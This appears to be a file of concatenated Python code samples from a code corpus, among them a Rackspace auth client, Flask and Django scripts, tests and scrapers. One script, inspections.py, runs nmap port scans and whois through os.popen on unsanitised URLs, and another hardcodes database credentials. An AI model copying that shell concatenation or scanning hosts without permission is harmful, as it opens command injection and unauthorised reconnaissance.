+{"seq_id":"517627765","text":"from datetime import datetime\nfrom datetime import timedelta\n\nfrom libs.common import http_request\n\n\nIDENTITY_ENDPOINT = 'https://identity.api.rackspacecloud.com/v2.0/tokens'\n\n\ndef convert_to_datetime(strdatetime, format=\"%Y-%m-%dT%H:%M:%S.%fZ\"):\n return datetime.strptime(strdatetime, format)\n\n\ndef check_expired(dt_expiration, expire_early=10):\n if dt_expiration is None:\n return True\n\n if not isinstance(dt_expiration, datetime):\n dt_expiration = convert_to_datetime(dt_expiration)\n\n dt_diff = dt_expiration - datetime.utcnow()\n if dt_diff < timedelta(minutes=expire_early):\n return True\n else:\n return False\n\n\nclass CloudAuth(object):\n def __init__(self, username, apikey, identity_endpoint=IDENTITY_ENDPOINT):\n self.tenant_id = None\n self.identity_endpoint = identity_endpoint\n self.token = None\n self.token_exp = None\n self.service_catalog = None\n self.auth_response = None\n self.username = username\n self.apikey = apikey\n\n def authenticate(self):\n headers = {\n 'Content-Type': 'application/json',\n 'Accept': 'application/json'\n }\n\n data = {\n \"auth\": {\n \"RAX-KSKEY:apiKeyCredentials\":\n {\n \"username\": self.username,\n \"apiKey\": self.apikey\n }\n }\n }\n\n response = http_request('POST', self.identity_endpoint,\n headers, payload=data)\n\n self.auth_response = response.json()\n\n return response\n\n def get_token(self):\n if not check_expired(self.auth_response['access']['token']['expires']):\n return self.auth_response['access']['token']['id']\n\n self.authenticate()\n return self.auth_response.get('access', {}).get('token', {}).get('id')\n\n def get_service_catalog(self, service_type=None, region=None):\n if not self.auth_response:\n self.authenticate()\n service_catalog = None\n if (self.auth_response and\n 'serviceCatalog' in self.auth_response['access']):\n service_catalog = \\\n self.auth_response['access']['serviceCatalog']\n\n if service_type is None:\n service_type = \"\"\n\n service_type_list_return = []\n for service in service_catalog:\n if service_type != \"\" and service['type'] != service_type:\n continue\n endpoint_list = []\n for endpoint in service['endpoints']:\n if region is not None:\n if endpoint.get('region', 'global') == region:\n endpoint_list.append(endpoint)\n elif (region.lower() == \"global\" and\n 'region' not in endpoint):\n endpoint_list.append(endpoint)\n else: # region is None\n endpoint_list.append(endpoint)\n\n if len(endpoint_list) > 0:\n service_type_list_return.append({\n 'name': service['name'],\n 'type': service['type'],\n 'endpoints': endpoint_list\n })\n if len(service_type_list_return) > 0:\n return service_type_list_return\n\n return None\n\n def get_service_url(self, service_type, region):\n serv_cat = self.get_service_catalog(\n service_type=service_type, region=region)\n\n if len(serv_cat) == 0:\n return None\n\n return serv_cat[0]['endpoints'][0]['publicURL']\n\n def get_regions(self, service_type=None):\n regions = []\n service_catalog = self.get_service_catalog()\n if service_type is not None:\n services = [service for service in service_catalog\n if 'type' in service and\n service['type'].lower() == service_type.lower()]\n for service in services:\n for endpoint in service['endpoints']:\n regions.append(\n endpoint.get('region', 'global')\n )\n else:\n services = [service for service in service_catalog]\n for service in services:\n for endpoint in service['endpoints']:\n regions.append(\n endpoint.get('region', 'global')\n )\n\n if len(regions) > 0:\n return list(set(regions))\n\n return None\n\n def get_headers(self):\n return {\n 'Content-Type': 'application/json',\n 'Accept': 'application/json',\n 'X-Auth-Token': self.get_token()\n }\n","sub_path":"scheduled_images_check/libs/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":4736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"644814957","text":"# Voor het starten van server het commando:\n# set FLASK_APP=server.py vanaf normale command prompt\n# set FLASK_ENV=development vanaf normale command prompt\n# met alleen set commando kan je checken of deze gezet is\n# server vanuit (venv) opstarten met flask run\n\nfrom flask import Flask, render_template, url_for, request\nimport csv\napp = Flask(__name__)\n\n@app.route('/')\ndef my_home():\n return render_template('index.html')\n\n# Algemene route\n@app.route('/')\ndef htmlpage(page_name=None):\n return render_template(page_name)\n\n@app.route('/submit_form', methods=['POST', 'GET'])\ndef submit_form():\n #return 'form submitted!'\n if request.method == \"POST\":\n try:\n data = request.form.to_dict()\n #print(data)\n write_to_csv(data)\n return render_template('thankyou.html')\n except:\n return 'Sorry, not saved to the database.'\n else:\n return \"oops....thats not good!\"\n\ndef write_to_file(data):\n with open('database.txt', mode='a') as database:\n email = data[\"email\"]\n subject = data[\"subject\"]\n message = data[\"message\"]\n file = database.write(f\"\\n{email},{subject},{message}\")\n # schrijf values naar file\n\ndef write_to_csv(data):\n with open('database.csv', newline='', mode='a') as database2:\n email = data[\"email\"]\n subject = data[\"subject\"]\n message = data[\"message\"]\n csv_writer = csv.writer(database2, delimiter=\",\", quotechar='\"', quoting =csv.QUOTE_MINIMAL)\n csv_writer.writerow([email, subject, message])\n # schrijf values naar file\n\n\n\n# @app.route('/index.html')\n# def my_index():\n# return render_template('index.html')\n\n# @app.route('/works.html')\n# def works():\n# return render_template('works.html')\n\n# @app.route('/work.html')\n# def work():\n# return render_template('work.html')\n\n# # @app.route('/about.html')\n# # def about():\n# # return render_template('about.html')\n\n# @app.route('/contact.html')\n# def contact():\n# return render_template('contact.html')\n\n# @app.route('/components.html')\n# def components():\n# return render_template('components.html')\n\n\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"342839030","text":"import pygame\n\n# class example\nclass Character():\n\tname = \"Link\"\n\tsex = \"Male\"\n\tmax_hit_points = 50\n\tcurrent_hit_points = 50\n\tmax_speed = 10\n\tarmor_amount = 8\n\n# example 2\nclass Address():\n\tname = \"Tyler Durden\"\n\tline1 = \"1537 Paper Street\"\n\tline2 = \"\"\n\tcity = \"Bradford\"\n\tstate = \"Deleware\"\n\tzip = \"19808\"\n\n# create an instance of the address class \n# create an address\nhomeAddress = Address()\n\n# set fields in the address\nhomeAddress.name = \"Tyler Durden\"\nhomeAddress.line1 = \"1537 Paper Street\"\nhomeAddress.city = \"Bradford\"\nhomeAddress.state = \"Deleware\"\nhomeAddress.zip = \"19808\"\n\n# create another address\nvacationHomeAddress = Address()\n\n# set fields in address 2\nvacationHomeAddress.name = \"Jack\"\nvacationHomeAddress.line1 = \"1122 Main Street\"\nvacationHomeAddress.line2 = \"\"\nvacationHomeAddress.city = \"Panama City Beach\"\nvacationHomeAddress.state = \"FL\"\nvacationHomeAddress.zip = \"32407\"\n\nprint(\"The client's main home is in \" + homeAddress.city)\nprint(\"His vacation home is in \" + vacationHomeAddress.city)\n\n# print an address to the screen\ndef printAddress(address):\n\tprint(address.name)\n\t# if there is a line1, print it \n\tif(len(address.line1) > 0):\n\t\tprint(address.line1)\n\t# if there's a line 2...\n\tif(len(address.line2) > 0):\n\t\tprint(address.line2)\n\tprint(address.city + \", \"+address.state+\" \"+address.zip)\n\nprintAddress(homeAddress)\nprint()\nprintAddress(vacationHomeAddress)","sub_path":"ch_13/13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":1388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"79432183","text":"def checkio(words):\r\n c=[]\r\n import re\r\n d = re.split('(\\d+)',words)\r\n\r\n \r\n for i in d:\r\n sublist=i.strip().split()\r\n if len(sublist)>2:\r\n c.append(len(sublist))\r\n if len(c)>0:\r\n return True\r\n else:\r\n return False\r\n\r\nprint (checkio(\"He is 123 man\"))\r\nprint (checkio(\"one two 3 four five six 7 eight 9 ten eleven 12\"))","sub_path":"e-Three Words.py","file_name":"e-Three Words.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"404941611","text":"import json, pytest, time, subprocess, traceback, inspect, re, copy\nfrom app.tasks.ept import utils as ept_utils\nfrom app.tasks.ept import simulator\nfrom app.tasks.ept.simulator import sim_queues\n\nfrom app.tasks.ept import node_manager\nfrom app.tasks.ept import ep_subscriber\nfrom app.tasks.ept.ep_subscriber import EPSubscriber\nfrom app.tasks.ept.ep_priority_worker import EPPriorityWorker\nfrom app.tasks.ept.ep_worker import EPWorker\nfrom app.tasks.ept.ep_worker import clear_fabric_endpoint\nfrom app.tasks.ept.ep_worker import clear_node_endpoint\nfrom app.tasks.ept.node_manager import Node_Monitor\nfrom app.tasks.ept.ep_job import EPJob\nfrom multiprocessing import Process\n\n\nfrom .test_ep import (get_worker, get_priority_worker, get_test_json,\n get_node_monitor, get_subscriber, test_fabric, test_overlay_vnid)\n\n\ndef test_cfd_14_ep_worker_func_watch_stale(app):\n # issue #14 \n # watch_event needs to check for changed calculated attributes\n # When checking for duplicate watch events, only the ts field is examined \n # (object modified timestamp). This causes new events with only changes in \n # calculated attributes to be treated as duplicate events.\n # fix - check changes in calculated indexes\n # ip: (4000000/41000000/40.1.1.101) is on node-101\n key = {\n \"addr\": \"40.1.1.101\",\n \"vnid\": \"4000000\",\n \"type\": \"ip\",\n \"fabric\": test_fabric,\n }\n dn=\"topology/pod-1/node-103/sys/ctx-[vxlan-4000000]/db-ep/ip-[40.1.1.101]\"\n nodes = {\n \"101\":{\n \"dn\": dn,\n \"status\":\"modified\",\n \"rw_bd\":\"\",\n \"remote\":\"102\",\n \"addr\":\"40.1.1.101\",\n \"ts\":1516120584.4,\n \"pcTag\":\"32772\",\n \"bd\":\"\",\n \"flags\":\"ip\",\n \"vrf\":\"4000000\",\n \"expected_remote\":\"0\",\n \"encap\":\"\",\n \"ifId\":\"tunnel7\",\n \"rw_mac\":\"\",\n \"_c\":\"epmIpEp\"\n }\n }\n job = EPJob(\"watch_stale\", key, ts=time.time(),data=nodes)\n dut = get_worker()\n dut.watch_event(job)\n wjob = dut.watched[dut.watched.keys()[0]]\n expected_remote = wjob.data[\"expected_remote\"]\n execute_ts = wjob.execute_ts\n\n # add same event with nothing changed, should still only have 1 watched job \n job = EPJob(\"watch_stale\", key, ts=time.time(),data=nodes)\n dut.watch_event(job)\n assert len(dut.watched)==1\n wjob = dut.watched[dut.watched.keys()[0]]\n assert execute_ts == wjob.execute_ts\n assert expected_remote == wjob.data[\"expected_remote\"] \n\n # update expected_remote (same ts) and should have an updated execute_ts\n # and updated expected_remote\n n = copy.deepcopy(nodes)\n n[\"101\"][\"expected_remote\"] = \"103\"\n job = EPJob(\"watch_stale\", key, ts=time.time(),data=n)\n dut.watch_event(job)\n wjob = dut.watched[dut.watched.keys()[0]]\n assert len(dut.watched)==1\n assert execute_ts != wjob.execute_ts\n assert wjob.data[\"expected_remote\"] == \"103\"\n\ndef test_cfd_12_ep_worker_func_ep_analyze_stale_no_local(app):\n # issue #12\n # ignore stale analysis for cached ep and proxy\n # ip: (4000000/41000000/40.1.1.102) is not in the fabric\n key = {\n \"addr\": \"40.1.1.102\",\n \"vnid\": \"4000000\",\n \"type\": \"ip\",\n \"fabric\": test_fabric,\n }\n dut = get_worker()\n dut.stale_double_check = False # don't double-refresh data\n updates = dut.ep_analyze_stale(key)\n assert len(updates) == 0\n\ndef test_cfd_12_ep_worker_func_ep_analyze_stale_local(app):\n # issue #12\n # ignore stale analysis for cached ep and proxy\n # ip: (4000000/41000000/40.1.1.103) is local on node-102 but cached on 101\n key = {\n \"addr\": \"40.1.1.103\",\n \"vnid\": \"4000000\",\n \"type\": \"ip\",\n \"fabric\": test_fabric,\n }\n dut = get_worker()\n dut.stale_double_check = False # don't double-refresh data\n updates = dut.ep_analyze_stale(key)\n assert len(updates) == 0\n\n\n \n","sub_path":"tests/ept/test_ep_cfd.py","file_name":"test_ep_cfd.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"206000007","text":"from PIL import Image\nimport os\n\nimg_dir = 'spectrogram_images_'\nfolder = 500\nwidth = 216\nheight = 216\ni = 0\n# open an image file (.bmp,.jpg,.png,.gif) you have in the working folder\nfor img in os.listdir(img_dir + str(folder) + \"/\"):\n pic = Image.open(img_dir + str(folder) + \"/\" + img)\n# adjust width and height to your needs\n print(i+1, \": \", img)\n i = i+1\n im5 = pic.resize((width, height), Image.ANTIALIAS) # best down-sizing filter\n ext = \".png\"\n im5.save(img_dir + str(width) + \"/\" + img[0:-4] + ext)\n\n","sub_path":"model/size_configure.py","file_name":"size_configure.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"443259190","text":"import os\n\nimport django\nfrom django.conf import settings\n\n\nsettings.configure(\n INSTALLED_APPS=[\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'easy_thumbnails',\n 'orders',\n 'shop',\n 'coupons',\n 'account',\n ],\n DATABASES={\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), 'db.sqlite3'),\n }\n }\n)\n# settings.configure(\n# INSTALLED_APPS=[\n# 'django.contrib.auth',\n# 'django.contrib.contenttypes',\n# 'django.contrib.sessions',\n# 'easy_thumbnails',\n# 'orders',\n# 'shop',\n# 'coupons',\n# 'account',\n# ],\n# DATABASES={\n# 'default': {\n# 'ENGINE': 'django.db.backends.mysql',\n# 'NAME': 'u0937287_mrpit',\n# 'USER': 'u0937287_adminmr',\n# 'PASSWORD': 'mrpitadmin555556',\n# 'HOST': 'localhost',\n# }\n# },\n# )\n\ndjango.setup()\n\nfrom orders.models import Order\n\norder = Order.published.get(id=2336)\norders = Order.published.all()\n# for i in range(150):\n# order.pk = None\n# order.save()\n# # order.delete()\n\nfor ord in orders:\n ord.delete()","sub_path":"scripts/script_ordrs.py","file_name":"script_ordrs.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"395005540","text":"# encoding:utf-8\n# 汽车销售 = %25E6%25B1%25BD%25E8%25BD%25A6%25E9%2594%2580%25E5%2594%25AE\n# 销售 = %25E9%2594%2580%25E5%2594%25AE\n\nimport selenium\nimport selenium.webdriver\nfrom selenium import webdriver\nimport re\nimport sys\nimport urllib\nimport urllib.request\nfrom urllib.parse import urlencode\n\ndef getURL(name,page):\n url = 'https://search.51job.com/list/000000,000000,0000,00,9,99,'+str(name)+',2,'+str(page)+'.html?lang=c&stype=&postchannel=0000&workyear=99&cotype=99°reefrom=99&jobterm=99&companysize=99&providesalary=99&lonlat=0%2C0&radius=-1&ord_field=0&confirmdate=9&fromType=&dibiaoid=0&address=&line=&specialarea=00&from=&welfare='\n return url\n\n\n\ndef getJobNumber(name,page):#获取工作类型的查询结果条目数\n searchURL = getURL(name,page)\n driver = selenium.webdriver.Chrome()\n driver.get(searchURL)\n pagesource = driver.page_source\n regstr = re.compile('
(.*?)
',re.S)\n result = re.findall('\\d+',regstr.findall(pagesource)[0].strip())[0].decode('utf-8')\n print(result)\n driver.close()\n\ndef getJobSalary(name,page):#获取查询工作的工资\n searchURL = getURL(name,page)\n driver = selenium.webdriver.Chrome()\n driver.get(searchURL)\n pagesource = driver.page_source\n regstr = re.compile('(.*?)',re.S)\n result = regstr.findall(pagesource)\n for res in result:\n print(res)\n driver.close()\n\ndef getPages(name,page):#获取查询工作类型的总页数\n searchURL = getURL(name,page)\n driver = selenium.webdriver.Chrome()\n driver.get(searchURL)\n pagesource = driver.page_source\n regstr = re.compile('(.*?)',re.S)\n result = regstr.findall(pagesource)\n result1 = result[0]\n reg = re.compile('\\d+')\n strr = reg.findall(result1)[0].decode('utf-8')\n print(strr)\n driver.close()\n return strr\n\n\ndef getJobCode(jobName):\n thisName = {jobName:''}\n thisCode = urlencode(thisName)\n thisCode = thisCode.replace('=','')\n thisCode = thisCode.replace('%','%25')\n return thisCode\n\ndef getJobCodeList(nameList):\n codeList = []\n for name in nameList:\n codeList.append(getJobCode(name))\n\n return codeList\n\ndef getNameList(codeList):\n nameList = []\n for code in codeList:\n nameList.append(urllib.request.unquote(code.replace('%25','%')))\n return nameList\n\n\nnameList = ['汽车销售','销售','打wangba']\ncodeList = getJobCodeList(nameList)\nprint(codeList)\nnameList1 = getNameList(codeList)\nprint(nameList1)\n# name = '汽车销售'\n# getJobCode(name)\n# for name in nameList:\n# print(urllib.request.unquote(name.replace('%25','%')))\n\n\n# for name in nameList:\n# page = eval(getPages(name,1))\n# for i in range(page):\n# pages = str(i+1)\n# print('第 '+pages+' 页工资')\n# getJobSalary(name,pages)\n\n","sub_path":"before/python2/51job/3抓取51job.py","file_name":"3抓取51job.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"362683404","text":"from lxml import etree\n\n# 1.获取所有tr标签\n# 2.获取第二个tr标签\n# 3.获取所有class等于even的标签\n# 4.获取所有a标签的href属性\n# 5.获取所有的职位信息(纯文本)\n\n# parser = etree.HTMLParser(encoding='utf-8')\n# html = etree.parse(\"tencent.html\", parser=parser)\n\n# 1.获取所有div标签\n# divs = html.xpath(\"//div\")\n# for div in divs:\n# print(etree.tostring(div, encoding=\"utf-8\").decode(\"utf-8\"))\n# 2.获取第二个div标签\n# div = html.xpath(\"//div[2]\")[0]\n# print(etree.tostring(div, encoding=\"utf-8\").decode(\"utf-8\"))\n\n# 3.获取所有class等于even的div标签\n# divs = html.xpath(\"//div[@class='checkbox-content']\")\n# for div in divs:\n# print(etree.tostring(div, encoding=\"utf-8\").decode(\"utf-8\"))\n\n# 4.获取所有a标签的href属性\n# aList = html.xpath(\"//a/@href\")\n# for a in aList:\n# print('http://hr.tencent.com/'+a)\n\n# 5.获取所有的职位信息\nparser = etree.HTMLParser(encoding='utf-8')\nhtml = etree.parse(\"jobs.html\", parser=parser)\n\ntrs = html.xpath(\"//tr[position()>1]\")\npositions = []\nfor tr in trs:\n # 在某个标签下,再执行xpath函数,获取这个标签下的子孙元素,那么在//之前加一个点,代表是在当前元素下获取\n title = tr.xpath(\"./td[1]//text()\")[0]\n category = tr.xpath(\"./td[2]//text()\")[0]\n address = tr.xpath(\"./td[4]//text()\")[0]\n print(title)\n print(category)\n print(address)\n position = {\n 'title': title,\n 'category': category,\n 'address': address\n }\n positions.append(position)\nprint(positions)\n","sub_path":"lxml和xpath结合使用01.py","file_name":"lxml和xpath结合使用01.py","file_ext":"py","file_size_in_byte":1565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"100054043","text":"import mysql.connector\r\n\r\n#establish connection\r\ndatabase = mysql.connector.connect(\r\n host = 'cpsc4910.crxd6v3fbudk.us-east-1.rds.amazonaws.com',\r\n user = 'admin',\r\n password = 'cpsc4910',\r\n database = 'website'\r\n)\r\n\r\n#shows we have successfully connected to the database\r\nprint(\"Connected to database\")\r\n\r\n#cursor\r\ncursor = database.cursor()\r\n\r\n#execute query\r\ncursor.execute(\"INSERT INTO driver VALUES ('Evan', \\\r\n NULL, \\\r\n 'Hastings', \\\r\n 2, \\\r\n 1, \\\r\n 2, \\\r\n '123 clemson boulevard', \\\r\n 5555555555, \\\r\n 'eh@email.com', \\\r\n NULL, \\\r\n NULL, \\\r\n NOW(), \\\r\n NULL)\")\r\n\r\n\r\n# .commit() commits the execute to the database (saves it)\r\n# without .commit() you can still view what it would look like and view as if it was in the database\r\n# however it will not save to the database\r\ndatabase.commit() \r\n\r\n#execute query\r\ncursor.execute(\"SELECT * FROM driver\")\r\n\r\n#get data from database stored in map\r\nrows = cursor.fetchall()\r\n\r\n#loop through all of the rows that are returned and display them (will be a tuple)\r\nfor r in rows:\r\n print(r)\r\n\r\n#close cursor\r\ncursor.close()\r\n#close connection\r\ndatabase.close()\r\n\r\n\r\n# for good practice go do the tutorials in this website https://www.w3schools.com/python/python_mysql_getstarted.asp","sub_path":"app/database/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"621741269","text":"from __future__ import unicode_literals\n\nfrom typing import Iterable\n\nfrom django.db.models import Q\nfrom django.utils.timezone import now\n\n\ndef mod_dietz_rate(goals: Iterable) -> float:\n from main.models import Transaction\n\n end_value = sum(g.total_balance for g in goals)\n begin_value = 0\n cash_flows = []\n start_date = None\n transactions = (\n Transaction.objects.filter(\n Q(from_goal__in=goals) | Q(to_goal__in=goals),\n Q(reason=Transaction.REASON_WITHDRAWAL) |\n Q(reason=Transaction.REASON_DEPOSIT),\n status=Transaction.STATUS_EXECUTED\n ).order_by('created'))\n for tr in transactions:\n amount = -tr.amount if tr.from_goal is not None else tr.amount\n try:\n cash_flows.append((\n (tr.created.date() - start_date).days,\n amount,\n tr.created.date()\n ))\n except TypeError: # start_date is None\n # use date of the first transaction as opening date\n # and it's not a part of cashflow\n start_date = tr.created.date()\n begin_value = amount\n\n if not transactions:\n return 0\n\n if not end_value and cash_flows: # all goals have zero balance\n # get closing date and balance from the last transaction\n _, end_value, closing_date = cash_flows.pop()\n # last transaction is withdrawal with negative amount,\n # and balance must be positive\n end_value = abs(end_value)\n else:\n closing_date = now().date()\n\n cash_flow_balance = sum(i[1] for i in cash_flows)\n total_days = (closing_date - start_date).days\n\n # Since we can have a goal with start=end=today()\n # It makes sense to show the return as if total_days=1\n if total_days == 0:\n total_days = 1\n prorated_sum = sum(cfi * (total_days - d) / total_days\n for d, cfi, _ in cash_flows)\n result = (end_value - begin_value -\n cash_flow_balance) / (begin_value + prorated_sum)\n annualised_return = pow(1 + result, 365.25 / total_days) - 1\n return annualised_return\n","sub_path":"main/finance.py","file_name":"finance.py","file_ext":"py","file_size_in_byte":2135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"11340389","text":"import urllib.request\nimport dml\nimport prov.model\nimport datetime\nimport uuid\n\nclass fetchIncomeData(dml.Algorithm):\n contributor = 'jlove'\n reads = []\n writes = ['jlove.incomes']\n \n @staticmethod\n def execute(trial = False):\n startTime = datetime.datetime.now()\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('jlove', 'jlove')\n \n repo.dropCollection(\"incomes\")\n repo.createCollection(\"incomes\")\n \n data = None\n url = 'http://datamechanics.io/data/jlove/neighborhood_incomes.csv'\n response = urllib.request.urlopen(url)\n if response.status == 200:\n data = response.read().decode('utf-8')\n if data != None:\n lines = data.splitlines()\n categories = lines[0].split(',')\n entries = []\n for line in lines[1:]:\n columns = line.split(',')\n entry = {}\n for i in range(len(categories)):\n try:\n entry[categories[i]] = int(columns[i])\n except ValueError:\n entry[categories[i]] = columns[i]\n entries += [entry]\n repo['jlove.incomes'].insert_many(entries)\n repo['jlove.incomes'].metadata({'complete':True})\n print(repo['jlove.incomes'].metadata())\n repo.logout()\n \n endTime = datetime.datetime.now()\n return {\"start\":startTime, \"end\":endTime}\n \n \n @staticmethod\n def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('jlove', 'jlove')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in # format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in # format.\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\n doc.add_namespace('bdp', 'https://data.cityofboston.gov/dataset/')\n \n \n this_script = doc.agent('alg:jlove#fetchIncomeData', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'})\n resource = doc.entity('dat:jlove/neighborhood_incomes', {'prov:label':'311, Service Requests', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'csv'})\n fetch_income = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime)\n doc.wasAssociatedWith(fetch_income, this_script)\n doc.usage(fetch_income, resource, startTime, None,\n {prov.model.PROV_TYPE:'ont:Retrieval',\n 'ont:Query':''\n }\n )\n\n incomes = doc.entity('dat:jlove#incomes', {prov.model.PROV_LABEL:'Boston Median Household Income by Neighborhood', prov.model.PROV_TYPE:'ont:DataSet'})\n doc.wasAttributedTo(incomes, this_script)\n doc.wasGeneratedBy(incomes, fetch_income, endTime)\n doc.wasDerivedFrom(incomes, resource, fetch_income, fetch_income, fetch_income)\n\n\n repo.logout()\n \n return doc","sub_path":"jlove/fetchIncomeData.py","file_name":"fetchIncomeData.py","file_ext":"py","file_size_in_byte":3396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378654942","text":"from django.conf.urls import patterns, url\nfrom django.contrib.comments.urls import urlpatterns\n\n\nurlpatterns = patterns('comments.views',\n\t\n\turl(r'^post/',view='custom_comment_post',\n\t\t name='comments-post-comment'),\n\turl(r'^$','form'),\n\n\n\n)\n","sub_path":"siteufc/comments/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326288273","text":"import logging\nimport os\nimport sys\nimport pandas as pd\nimport glob\n\n\ndef find_all_files(datadir):\n logging.info(\"Looking for files in '%s'\", datadir)\n for path in glob.iglob(os.path.join(datadir, '**/*'), recursive=True):\n if os.path.isfile(path):\n yield path\n\n\ndef _build_outpath_from_inpath(inpath):\n logging.debug(\"Buliding outpath from %s\", inpath)\n infolder, name = os.path.split(inpath)\n outfolder = infolder.replace('/data/in/files', '/data/out/files')\n if not os.path.isdir(outfolder):\n os.makedirs(outfolder)\n basename, suffix = os.path.splitext(name)\n outpath = os.path.join(outfolder, basename + '.csv')\n logging.debug(\"destination is %s\", outpath)\n return outpath\n\ndef _parse_table(inpath):\n logging.debug(\"Opening with pandas\")\n df = pd.read_html(inpath, attrs={'class':'report'}, flavor='html5lib')[0]\n logging.debug(\"Opened \")\n return df\n\ndef process_table(inpath):\n logging.debug(\"processing '%s'\", inpath)\n df = _parse_table(inpath)\n outpath = _build_outpath_from_inpath(inpath)\n logging.debug(\"saving into '%s'\", outpath)\n df.to_csv(outpath, index=False)\n return outpath\n\ndef main(datadir):\n for path in find_all_files(datadir):\n process_table(path)\n\n\nif __name__ == \"__main__\":\n try:\n if os.getenv(\"KBC_PARAMETER_DEBUG\"):\n logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n else:\n logging.basicConfig(stream=sys.stdout, level=logging.INFO)\n logging.debug(\"Starting processor\")\n main('/data/in/files/')\n except (ValueError, KeyError) as err:\n logging.exception(err)\n sys.exit(1)\n except:\n logging.exception(\"Internal error\")\n sys.exit(2)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"410931007","text":"from .. import tutils, mastertest\nfrom mitmproxy.builtins import anticomp\nfrom mitmproxy.flow import master\nfrom mitmproxy.flow import state\nfrom mitmproxy import options\n\n\nclass TestAntiComp(mastertest.MasterTest):\n def test_simple(self):\n s = state.State()\n o = options.Options(anticomp = True)\n m = master.FlowMaster(o, None, s)\n sa = anticomp.AntiComp()\n m.addons.add(o, sa)\n\n f = tutils.tflow(resp=True)\n m.request(f)\n\n f = tutils.tflow(resp=True)\n\n f.request.headers[\"Accept-Encoding\"] = \"foobar\"\n m.request(f)\n assert f.request.headers[\"Accept-Encoding\"] == \"identity\"\n","sub_path":"test/mitmproxy/builtins/test_anticomp.py","file_name":"test_anticomp.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"184882777","text":"import os\nimport tld\nimport requests\n\n\n# extracts the top level domain from a URL\ndef get_top_level_domain(url):\n top_level_domain = tld.get_tld(url)\n return top_level_domain\n\n\n# obtains the IP address of a URL through a command\ndef get_ip_address(top_level_domain):\n command = \"host \" + top_level_domain\n process = os.popen(command)\n output = str(process.read())\n output = output.split()\n return output[3]\n\n\n# executes a port scan on the IP address and returns the results\ndef get_nmap_report(ip_address):\n # must be able to run the nmap command\n command = \"nmap -F \" + ip_address\n process = os.popen(command)\n output = str(process.read())\n return output\n\n\n# searches for a robots.txt at the URL and returns the contents of the file\ndef get_robots_txt(url):\n if not url.endswith(\"/\"):\n url += \"/\"\n results = requests.get(url + \"robots.txt\")\n return results.text\n\n\n# obtains a report with information like the registration of the website\ndef get_whois_report(url):\n command = \"whois \" + url\n process = os.popen(command)\n output = str(process.read())\n return output\n","sub_path":"inspections.py","file_name":"inspections.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"114798148","text":"# Copyright 2017 The Chromium Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport optparse\nimport threading\n\nimport py_utils\n\nfrom devil.android import device_utils\nfrom systrace import trace_result\nfrom systrace import tracing_agents\nfrom py_trace_event import trace_time as trace_time_module\n\nTRACE_FILE_PATH = \\\n '/sdcard/Android/data/org.chromium.latency.walt/files/trace.txt'\n\nCLOCK_DOMAIN_MARKER = '# clock_type=LINUX_CLOCK_MONOTONIC\\n'\n\n\ndef try_create_agent(options):\n if options.is_walt_enabled:\n return WaltAgent()\n return None\n\n\nclass WaltConfig(tracing_agents.TracingConfig):\n def __init__(self, device_serial_number, is_walt_enabled):\n tracing_agents.TracingConfig.__init__(self)\n self.device_serial_number = device_serial_number\n self.is_walt_enabled = is_walt_enabled\n\n\ndef add_options(parser):\n options = optparse.OptionGroup(parser, 'WALT trace options')\n options.add_option('--walt', dest='is_walt_enabled', default=False,\n action='store_true', help='Use the WALT tracing agent. 